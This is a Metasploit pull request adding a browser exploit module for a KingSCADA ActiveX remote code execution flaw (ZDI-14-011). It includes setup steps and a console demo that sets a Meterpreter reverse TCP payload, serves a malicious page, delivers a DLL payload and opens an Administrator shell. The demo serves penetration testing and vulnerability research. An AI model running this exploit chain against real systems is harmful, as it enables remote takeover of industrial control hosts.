rapid7/metasploit-framework — pull request #2953 by jvazquez-r7 (2014-02-07 00:37:48+00:00)
Title: Add module for ZDI-14-011

Module for ZDI-14-011. Tested successfully on Windows XP SP3 / IE6 -IE8 or Windows7 IE8 with protection mode disabled :\ weird....

Verification Steps
---------

- [ ] Download and install vulnerable http://www.kingview.com/en/downloads/Downloads/KingSCADA3.1.rar (at least is vulnerable at the time of writing, let me know if the things change and I can share installer)
- [ ] register the vulnerable activex control, installed on ```C:\Program Files\KingSCADA\bin\ClientLib\libs``` with ```regsvr32 kxClientDownload.ocx```
- [ ] Run the module like in the demo, visit the page pointed by the module, hopefully enjoy sessions. Remember to use a IE without Protected Mode, for example IE8 Windows XP SP3.

```
msf > use exploit/windows/browser/wellintech_kingscada_kxclientdownload
msf exploit(wellintech_kingscada_kxclientdownload) > set srvhost 192.168.172.1
srvhost => 192.168.172.1
msf exploit(wellintech_kingscada_kxclientdownload) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(wellintech_kingscada_kxclientdownload) > set lhost 192.168.172.1
lhost => 192.168.172.1
msf exploit(wellintech_kingscada_kxclientdownload) > rexploit
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.172.1:4444
[*] Using URL: http://192.168.172.1:8080/1c2FFAXOAyg2t
[*] Server started.
msf exploit(wellintech_kingscada_kxclientdownload) > [*] 192.168.172.244 wellintech_kingscada_kxclientdownload - Gathering target information.
[*] 192.168.172.244 wellintech_kingscada_kxclientdownload - Requested: /1c2FFAXOAyg2t/CUjXHb/
[*] 192.168.172.244 wellintech_kingscada_kxclientdownload - Sending KingScada kxClientDownload.ocx ActiveX Remote Code Execution
[*] 192.168.172.244 wellintech_kingscada_kxclientdownload - Requested: /1c2FFAXOAyg2t/CUjXHb/libs/kxClientDownloadRes1033.dll.htm
[+] Sending DLL payload
[*] 192.168.172.244 wellintech_kingscada_kxclientdownload - Requested: /1c2FFAXOAyg2t/CUjXHb/libs/vcredistsp1_x86_en.exe.htm
[*] 192.168.172.244 wellintech_kingscada_kxclientdownload - Sending not found
[*] Sending stage (769024 bytes) to 192.168.172.244
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.244:1237) at 2014-02-06 18:27:46 -0600
[*] Session ID 1 (192.168.172.1:4444 -> 192.168.172.244:1237) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: rundll32.exe (2732)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2968
[+] Successfully migrated to process

msf exploit(wellintech_kingscada_kxclientdownload) > sessions

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 JUAN-C0DE875735\Administrator @ JUAN-C0DE875735 192.168.172.1:4444 -> 192.168.172.244:1237 (192.168.172.244)

msf exploit(wellintech_kingscada_kxclientdownload) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: JUAN-C0DE875735\Administrator
smeterpreter > sysinfo
Computer : JUAN-C0DE875735
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...
```